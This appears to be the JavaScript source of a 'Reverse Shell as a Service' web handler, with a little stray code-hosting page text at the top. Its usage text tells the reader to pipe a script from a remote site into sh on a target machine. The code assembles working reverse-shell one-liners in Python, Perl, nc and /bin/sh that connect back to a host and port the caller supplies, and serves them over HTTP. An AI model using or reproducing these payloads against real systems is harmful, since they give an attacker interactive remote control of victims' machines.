You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
47 lines
1.4 KiB
47 lines
1.4 KiB
'use strict';
|
|
|
|
const usage = `# Reverse Shell as a Service
|
|
# https://github.com/lukechilds/reverse-shell
|
|
#
|
|
# 1. On your machine:
|
|
# nc -l 1337
|
|
#
|
|
# 2. On the target machine:
|
|
# curl https://reverse-shell.sh/yourip:1337 | sh
|
|
#
|
|
# 3. Don't be a dick`;
|
|
|
|
const reverseShell = (address = '') => {
|
|
const [host, port] = address.split(':');
|
|
if (!host || !port) {
|
|
return usage;
|
|
}
|
|
|
|
const payloads = {
|
|
python: `python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("${host}",${port})); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'`,
|
|
perl: `perl -e 'use Socket;$i="${host}";$p=${port};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'`,
|
|
nc: `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ${host} ${port} >/tmp/f`,
|
|
sh: `/bin/sh -i >& /dev/tcp/${host}/${port} 0>&1`
|
|
};
|
|
|
|
return Object.entries(payloads).reduce((script, [cmd, payload]) => {
|
|
script += `
|
|
|
|
if command -v ${cmd} > /dev/null 2>&1; then
|
|
${payload}
|
|
exit;
|
|
fi`;
|
|
|
|
return script;
|
|
}, usage);
|
|
};
|
|
|
|
const handler = (request, response) => {
|
|
const { address } = request.query;
|
|
|
|
response.send(reverseShell(address));
|
|
};
|
|
|
|
module.exports = handler;
|
|
|
|
module.exports.reverseShell = reverseShell;
|
|
|